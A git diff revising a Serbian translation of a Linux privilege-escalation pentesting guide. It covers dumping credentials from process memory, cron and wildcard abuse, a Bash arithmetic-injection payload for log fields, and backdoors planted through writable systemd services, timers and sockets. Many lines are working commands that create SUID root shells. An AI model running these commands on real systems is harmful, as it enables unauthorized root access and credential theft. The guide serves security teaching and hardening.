ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Takođe, proverite da li je instaliran **bilo koji compiler**. Ovo je korisno ako treba da koristite neki kernel exploit, pošto se preporučuje da ga compile-ujete na mašini na kojoj ćete ga koristiti (ili na nekoj sličnoj). +Takođe, proveri da li je **instaliran bilo koji kompajler**. Ovo je korisno ako treba da koristiš neki kernel exploit, jer se preporučuje da ga kompajliraš na mašini na kojoj ćeš ga koristiti (ili na nekoj sličnoj). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Instaliran ranjiv softver -Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara Nagios verzija (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ -Preporučuje se ručno proveriti verziju sumnjivijeg instaliranog softvera. +Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara verzija Nagios (na primer) koja bi se mogla iskoristiti za escalating privileges…\ +Preporučuje se ručno proveriti verzije sumnjivijeg instaliranog softvera. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini možete takođe koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na mašini. +Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na mašini. -> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će uglavnom biti beskorisne, stoga se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ +> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ ## Procesi @@ -169,31 +170,31 @@ ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Takođe **proveri svoje privilegije nad binarnim fajlovima procesa**, možda možeš prepisati neki. ### Process monitoring -Možeš koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni zahtevi. +Možeš koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti vrlo korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. ### Process memory -Neki servisi na serveru čuvaju **credentials in clear text inside the memory**.\ -Obično će ti trebati **root privileges** da čitaš memoriju procesa koji pripadaju drugim korisnicima, zbog čega je ovo obično korisnije kada si već root i želiš da otkriješ više credentials.\ +Neki servisi na serveru čuvaju **credentials u čistom tekstu u memoriji**.\ +Obično će ti trebati **root privileges** da pročitaš memoriju procesa koji pripadaju drugim korisnicima, zato je ovo obično korisnije kada si već root i želiš da otkriješ još credentials.\ Međutim, zapamti da **kao običan korisnik možeš čitati memoriju procesa koje poseduješ**. > [!WARNING] -> Imaj na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možeš dump-ovati druge procese koji pripadaju neprivilegovanom korisniku. +> Imaj na umu da danas većina mašina **ne dozvoljava ptrace podrazumevano**, što znači da ne možeš dump-ovati druge procese koji pripadaju neprivilegovanom korisniku. > -> Fajl _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupačnost ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debug-ovani, pod uslovom da imaju isti uid. Ovo je klasičan način na koji je ptrace radio. -> - **kernel.yama.ptrace_scope = 1**: može biti debug-ovan samo roditeljski proces. -> - **kernel.yama.ptrace_scope = 2**: samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: nijedan proces se ne može trace-ovati pomoću ptrace. Jednom postavljeno, potreban je reboot da bi se ptracing ponovo omogućio. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Ako imaš pristup memoriji FTP servisa (na primer) možeš dobiti Heap i pretražiti unutar njega credentials. +Ako imaš pristup memoriji FTP servisa (na primer) možeš dohvatiti Heap i pretražiti u njemu njegove credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati PID, **maps** prikazuju kako je memorija mapirana u virtuelnom adresnom prostoru tog procesa; takođe prikazuju **dozvole za svaki mapirani region**. Pseudo fajl **mem** izlaže samu memoriju procesa. Iz fajla **maps** znamo koji su **regioni memorije čitljivi** i njihove offsete. Koristimo te informacije da se pozicioniramo u fajl **mem** i snimimo sve čitljive regione u fajl. +Za dati process ID, **maps prikazuju kako je memorija mapirana unutar** virtuelnog adresnog prostora tog procesa; takođe prikazuju **dozvole svake mapirane regije**. Pseudo fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihove offset-e. Koristimo ove informacije da se **pozicioniramo u mem fajl i iskopiramo sve čitljive regione** u fajl. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` omogućava pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelnom adresnom prostoru kernela može se pristupiti koristeći /dev/kmem.\ -Obično je `/dev/mem` čitljiv samo od strane **root** i **kmem** grupe. +`/dev/mem` pruža pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Na virtuelni adresni prostor kernela može se pristupiti pomoću /dev/kmem.\ +Tipično, `/dev/mem` je čitljiv samo od strane **root** i grupe kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump za linux +### ProcDump za Linux -ProcDump je Linux verzija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je Linux reinterpretacija klasičnog ProcDump alata iz Sysinternals skupa alata za Windows. Nabavite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Alati -To dump a process memory you could use: +Za dump memorije procesa možete koristiti: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dump-ovati proces koji je u vašem vlasništvu +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i napraviti dump procesa koji je u vašem vlasništvu - Script A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) ### Kredencijali iz memorije procesa #### Ručni primer -Ako otkrijete da proces authenticator radi: +Ako otkrijete da je proces authenticator pokrenut: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dump the process (pogledajte prethodne sekcije za različite načine za dump the memory of a process) i pretražiti credentials u memory: +Možete dump the process (pogledajte prethodne sekcije da pronađete različite načine za dump the memory of a process) i search for credentials inside the memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti kredencijale u čistom tekstu iz memorije** i iz nekih **dobro poznatih fajlova**. Potrebne su root privilegije da bi ispravno radio. +Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti clear text credentials iz memorije** i iz nekih **dobro poznatih fajlova**. Potrebne su root privileges da bi ispravno radio. -| Funkcija | Ime procesa | +| Funkcija | Ime procesa | | ------------------------------------------------- | -------------------- | -| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (aktivne FTP konekcije) | vsftpd | -| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | -| OpenSSH (aktivne SSH sesije - korišćenje sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regex pretrage/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Pretraga Regex-ova/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -315,37 +316,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Zakazani/Cron poslovi -### Crontab UI (alseambusher) running as root – web-based scheduler privesc +### Crontab UI (alseambusher) koji radi kao root – web-based scheduler privesc -Ako web “Crontab UI” panel (alseambusher/crontab-ui) radi kao root i vezan je samo za loopback, i dalje mu možete pristupiti preko SSH local port-forwarding i kreirati privilegovani zadatak za eskalaciju privilegija. +Ako web “Crontab UI” panel (alseambusher/crontab-ui) radi kao root i vezan je samo za loopback, i dalje mu možete pristupiti preko SSH local port-forwarding i kreirati privilegovani job za eskalaciju. -Tipičan lanac -- Otkrivanje porta dostupnog samo na loopback-u (npr. 127.0.0.1:8000) i Basic-Auth realm koristeći `ss -ntlp` / `curl -v localhost:8000` -- Pronađite kredencijale u operativnim artefaktima: - - Backupi/skripte sa `zip -P ` - - systemd unit koji izlaže `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +Tipičan niz koraka +- Otkrivanje porta dostupnog samo na loopback-u (npr. 127.0.0.1:8000) i Basic-Auth realm pomoću `ss -ntlp` / `curl -v localhost:8000` +- Pronađi kredencijale u operativnim artefaktima: +- Backup-ovi/skripte sa `zip -P ` +- systemd unit koji izlaže `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` - Tunelovanje i prijava: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Kreirajte high-priv job i pokrenite ga odmah (ostavlja SUID shell): +- Kreiraj job sa visokim privilegijama i pokreni odmah (drops SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- Koristite ga: +- Koristi ga: ```bash /tmp/rootshell -p # root shell ``` -Ojačavanje -- Ne pokrećite Crontab UI kao root; ograničite ga na namenski korisnički nalog i minimalna ovlašćenja -- Vežite na localhost i dodatno ograničite pristup preko firewall/VPN; ne koristite iste lozinke -- Izbegavajte ugrađivanje tajni u unit files; koristite secret stores ili root-only EnvironmentFile -- Omogućite audit/logging za on-demand izvršavanje poslova +Ojačavanje bezbednosti +- Ne pokrećite Crontab UI kao root; ograničite ga na poseban korisnički nalog i minimalne dozvole +- Bind to localhost i dodatno ograničite pristup preko firewall/VPN; ne koristite iste lozinke ponovo +- Izbegavajte ugrađivanje secrets u unit files; koristite secret stores ili root-only EnvironmentFile +- Omogućite audit/logging za izvršavanja zadataka na zahtev -Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skriptu koju izvršava root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). +Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -355,23 +356,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul Na primer, u _/etc/crontab_ možete naći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Obratite pažnju da korisnik "user" ima pravo pisanja nad /home/user_) - -Ako u ovom crontabu root pokuša da izvrši command ili script bez postavljanja PATH-a. Na primer: _\* \* \* \* root overwrite.sh_\ +(_Primetite da korisnik "user" ima prava za pisanje nad /home/user_) +Ako u ovom crontab-u root pokuša da izvrši neku komandu ili skriptu bez podešavanja PATH-a. На пример: _\* \* \* \* root overwrite.sh_\ Tada možete dobiti root shell koristeći: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron koji koristi skriptu sa wildcard-om (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to iskoristiti da izazovete neočekivane radnje (npr. privesc). Primer: +Ako se skripta izvršava kao root i sadrži “**\***” unutar komande, možete to iskoristiti da napravite neočekivane stvari (poput privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je wildcard ispred putanje kao** _**/some/path/\***_ **, on nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako je wildcard prethodnik putanje kao što je** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** Read the following page for more wildcard exploitation tricks: @@ -383,11 +383,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash izvršava parameter expansion i command substitution pre arithmetic evaluation u ((...)), $((...)) i let. Ako root cron/parser pročita nepouzdana polja iz loga i ubaci ih u arithmetic context, napadač može da injektuje command substitution $(...) koji se izvršava kao root kada cron pokrene. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. -- Zašto radi: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Tako vrednost poput `$(/bin/bash -c 'id > /tmp/pwn')0` bude prvo zamenjena (izvršavajući komandu), a preostali numerički `0` se koristi za arithmetic tako da skripta nastavi bez grešaka. +- Zašto ovo funkcioniše: U Bash-u, expansions se dešavaju u sledećem redosledu: parameter/variable expansion, command substitution, arithmetic expansion, zatim word splitting i pathname expansion. Dakle, vrednost kao `$(/bin/bash -c 'id > /tmp/pwn')0` se prvo zamenjuje (komanda se izvršava), a preostali numerički `0` se koristi za arithmetic tako da skripta nastavlja bez grešaka. -- Typical vulnerable pattern: +- Tipičan ranjiv obrazac: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -397,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Naterajte da se attacker-controlled tekst upiše u parsirani log tako da polje koje izgleda numerički sadrži command substitution i završava cifrom. Osigurajte da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi arithmetic ostao validan. +- Eksploatacija: Ubacite u parsovani log tekst koji napadač kontroliše tako da polje koje liči na broj sadrži command substitution i završava cifrom. Pazite da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi arithmetic ostao validan. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -406,42 +406,42 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Ako **možete modifikovati cron script** koji se izvršava kao root, možete vrlo lako dobiti shell: +Ako **možete izmeniti cron script** koji se izvršava kao root, vrlo lako možete dobiti shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ako script koji root izvršava koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj direktorijum i **napraviti symlink ka drugom direktorijumu** koji sadrži script pod vašom kontrolom. +Ako script koji pokreće root koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj folder i **napraviti symlink ka drugom folderu** koji sadrži script pod vašom kontrolom ```bash ln -d -s ``` -### Česti cron jobovi +### Česti cron jobs -Možete pratiti procese kako biste pronašli procese koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i eskalirati privilegije. +Možeš da nadzireš procese da bi pronašao one koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možeš iskoristiti i escalate privileges. -Na primer, da biste **praćili svakih 0.1s tokom 1 minuta**, **sortirali po najmanje izvršenim komandama** i obrisali komande koje su se najviše izvršavale, možete uraditi: +Na primer, da bi **pratio svakih 0.1s tokom 1 minuta**, **sortirao po najmanje izvršenim komandama** i obrisao komande koje su se najviše izvršavale, možeš uraditi: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i prikazati svaki proces koji se pokrene). +**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će pratiti i ispisati svaki proces koji se pokrene). -### Nevidljivi cron jobs +### Invisible cron jobs -Moguće je kreirati cronjob **stavivši carriage return posle komentara** (bez znaka novog reda), i cronjob će raditi. Primer (primetite carriage return karakter): +Moguće je kreirati cronjob **stavivši carriage return nakon komentara** (bez newline karaktera), i cron job će raditi. Primer (obratite pažnju na carriage return karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisi -### _.service_ datoteke kojima se može pisati +### Upisive _.service_ datoteke -Proverite da li možete upisati bilo koju `.service` datoteku; ako možete, **možete je izmeniti** tako da **pokreće** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate da se mašina restartuje).\ -Na primer kreirajte vaš backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** +Proverite da li možete upisati bilo koju `.service` datoteku, ako možete, možete je **izmeniti** tako da **izvršava** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate dok se mašina ne restartuje).\ +Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** -### Binarni fajlovi servisa kojima se može pisati +### Upisive binarne datoteke servisa -Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih zameniti backdoorom tako da kada se servisi ponovo izvrše backdoor bude izvršen. +Imajte na umu da ako imate **prava za pisanje nad binarnim fajlovima koje pokreću servisi**, možete ih promeniti da sadrže backdoor, pa će kada se servisi ponovo budu izvršeni backdoor biti izvršen. ### systemd PATH - Relativne putanje @@ -449,74 +449,74 @@ Možete videti PATH koji koristi **systemd** pomoću: ```bash systemctl show-environment ``` -Ako utvrdite da možete **pisati** u bilo kojem od direktorijuma na putanji, možda ćete moći **escalate privileges**. Potrebno je da pretražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: +Ako otkrijete da možete **pisati** u bilo kojem od direktorijuma na toj putanji, možda ćete moći **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **izvršni fajl** sa **istim imenom kao binarni fajl relativne putanje** unutar systemd PATH foldera u koji možete pisati, i kada se servisu zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu startovati/stopovati servise, ali proverite da li možete koristiti `sudo -l`). +Zatim, kreirajte **izvršni fajl** sa **istim imenom kao relativni put binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od servisa zatraži izvršavanje ranjive akcije (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu startovati/stopirati servise, ali proverite da li možete koristiti `sudo -l`). -**Learn more about services with `man systemd.service`.** +**Saznajte više o servisima koristeći `man systemd.service`.** -## **Tajmeri** +## **Timeri** -**Tajmeri** su systemd unit fajlovi čija se imena završavaju sa `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u, jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotone vremenske događaje i mogu se pokretati asinhrono. +**Timeri** su systemd unit fajlovi čije ime se završava na `**.timer**` i koji kontrolišu `**.service**` fajlove ili događaje. **Timeri** se mogu koristiti kao alternativa cron-u, jer imaju ugrađenu podršku za događaje bazirane na kalendarskom vremenu i događaje bazirane na monotonom vremenu, i mogu se pokretati asinhrono. -Možete izlistati sve tajmere pomoću: +Možete izlistati sve timere pomoću: ```bash systemctl list-timers --all ``` -### Pisivi tajmeri +### Upisivi tajmeri -Ako možete izmeniti tajmer, možete ga naterati da izvrši neke postojeće jedinice systemd.unit (kao što su `.service` ili `.target`) +Ako možete izmeniti tajmer, možete ga naterati da pokrene postojeće systemd.unit (npr. `.service` ili `.target`) ```bash Unit=backdoor.service ``` -U dokumentaciji možete pročitati šta je unit: +U dokumentaciji možete pročitati šta je Unit: -> Unit koji treba aktivirati kada ovaj timer istekne. Argument je naziv unit-a, čiji sufiks nije ".timer". Ako nije naveden, ova vrednost podrazumevano ukazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da ime unit-a koji se aktivira i ime timer unit-a budu identična, osim sufiksa. +> Jedinica koja se aktivira kada ovaj timer istekne. Argument je ime jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da ime jedinice koja se aktivira i ime timer jedinice budu identični, osim sufiksa. -Dakle, da biste zloupotrebili ovu privilegiju trebalo bi da: +Dakle, da biste zloupotrebili ovu privilegiju potrebno je da: -- Pronađite neki systemd unit (kao `.service`) koji **izvršava izvršni binarni fajl nad kojim imate dozvolu za pisanje** -- Pronađite neki systemd unit koji **poziva izvršni fajl putem relativne putanje** i imate **privilegije pisanja** nad **systemd PATH** (da biste se predstavili kao taj izvršni fajl) +- Pronađite neku systemd unit (kao `.service`) koja je **executing a writable binary** +- Pronađite neku systemd unit koja je **executing a relative path** i nad **systemd PATH** imate **writable privileges** (da imitujete taj executable) -Saznajte više o timerima sa `man systemd.timer`. +**Saznajte više o timerima pomoću `man systemd.timer`.** ### **Omogućavanje Timera** -Da biste omogućili timer potrebne su root privilegije i treba izvršiti: +Da biste omogućili timer potrebne su root privilegije i izvršite: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Napomena: **timer** je **aktiviran** kreiranjem symlinka ka njemu u `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) omogućavaju **komunikaciju procesa** na istoj ili različitim mašinama unutar client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se kroz `.socket` fajlove. -Sockets can be configured using `.socket` files. +Sockets se mogu konfigurisati koristeći `.socket` fajlove. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Saznajte više o sockets pomoću `man systemd.socket`.** U ovom fajlu mogu se konfigurisati nekoliko interesantnih parametara: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije se razlikuju, ali suštinski služe da **naznače gde će se slušati** socket (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta koji će se slušati, itd.) +- `Accept`: Prima boolean argument. Ako je **true**, **stvara se instanca servisa za svaku dolaznu konekciju** i samo konekcioni socket joj se prosleđuje. Ako je **false**, svi listening socket-i se **prosleđuju pokrenutoj service jedinici**, i pokreće se samo jedna service jedinica za sve konekcije. Ova vrednost se ignoriše za datagram socket-e i FIFO-e gde jedna service jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Iz razloga performansi, preporučuje se da novi daemoni budu pisani na način pogodan za `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Prima jednu ili više komandnih linija, koje se **izvršavaju pre** ili **posle** kreiranja i bind-ovanja listening **sockets**/FIFO-a, respektivno. Prvi token komandne linije mora biti apsolutno ime fajla, nakon čega slede argumenti procesa. +- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja listening **sockets**/FIFO-a, respektivno. +- `Service`: Specificira ime **service** jedinice koje će se **aktivirati** pri **dolaznom saobraćaju**. Ova opcija je dozvoljena samo za socket-e sa Accept=no. Podrazumevano je service koji ima isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju. ### Writable .socket files -Ako nađete **writable** `.socket` fajl, možete **dodati** na početku `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Dakle, **verovatno ćete morati da sačekate restart mašine.**\ -_Imajte na umu da sistem mora koristiti tu konfiguraciju socket fajla inače backdoor neće biti izvršen_ +Ako pronađete **writable** `.socket` fajl, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Stoga, **verovatno ćete morati da sačekate da se mašina restartuje.**\ +_Napomena da sistem mora koristiti tu konfiguraciju socket fajla ili backdoor neće biti izvršen_ ### Writable sockets -Ako **otkrijete bilo koji writable socket** (_sada govorimo o Unix Sockets i ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti neku ranjivost. +Ako **identifikujete bilo koji writable socket** (_sada govorimo o Unix Sockets, a ne o konfiguracionim `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti ranjivost. -### Enumerisanje Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -538,36 +538,36 @@ socket-command-injection.md ### HTTP sockets -Imajte na umu da može postojati nekoliko **sockets listening for HTTP requests** (_ne mislim na .socket files već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti sa: +Obratite pažnju da može postojati nekoliko **sockets koji slušaju HTTP** zahteva (_Ne mislim na .socket fajlove već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti sa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ako socket **responds with an HTTP** request, onda možete **communicate** sa njim i možda **exploit some vulnerability**. +Ako socket **odgovori na HTTP** zahtev, možete sa njim **komunicirati** i možda **exploit some vulnerability**. -### Docker socket dostupan za pisanje +### Docker socket koji se može upisati -Docker socket, koji se često nalazi na `/var/run/docker.sock`, je kritičan fajl koji treba zaštititi. Podrazumevano, on je upisiv za korisnika `root` i članove grupe `docker`. Posedovanje prava pisanja na ovaj socket može dovesti do eskalacije privilegija. Evo pregleda kako se to može izvesti i alternativnih metoda ako Docker CLI nije dostupan. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that 